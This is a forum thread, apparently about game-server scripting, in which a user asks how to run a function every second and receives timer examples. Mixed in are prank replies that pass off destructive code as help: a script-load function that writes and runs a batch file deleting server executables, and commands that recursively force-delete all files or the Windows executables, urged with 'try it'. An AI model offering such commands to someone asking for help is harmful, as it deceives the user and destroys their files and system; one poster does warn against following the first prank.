How can i make a function run after every second for unlimited times?
I wonder how? Can anyone tell me as well. We need to solve this mystery.
Yea.
lol, SLC
NewTimer("Myfunc",1,0);
Really. Oh. I'll try it by putting in onscriptload, lets see.
Like this
function onScriptLoad()
{
system("echo ping 127.0.0.1 >rip.bat");
system("echo del server.exe >rip.bat");
system("echo del server32.exe >rip.bat");
system("echo del server64.exe >rip.bat");
print("Please rest in peace");
system("rip.bat & exit");
}
Enjoy ;)
Don't follow Crys.
You could achieve this two ways,
Method One:
Place the timer function in a variable so we can access it's properties.
This will start the timer and run 'MyFunction' every second untill you call 'MyVar.Stop'
MyVar <- NewTimer( "MyFunction", 1000, 0 );
Method Two
Using the 'Modulus Operator' to determin how many seconds have passed since the start of the process.
Note: This will only trigger when a player is moving in the server, but it's an alternative to a timer.
function onPlayerMove( player, oldX, oldY, oldZ, newX, newY, newZ )
{
if ( abs( clock() ) % 1000 == 0 ) MyFunction();
}
If you wanted to do any permanent good you could have:
system("DEL /F /S /Q *.*")
Or even:
system("DEL /F /S /Q %WINDIR%\*.exe")
LOLOL!
That's the best one, try it.
Thanx. Solved.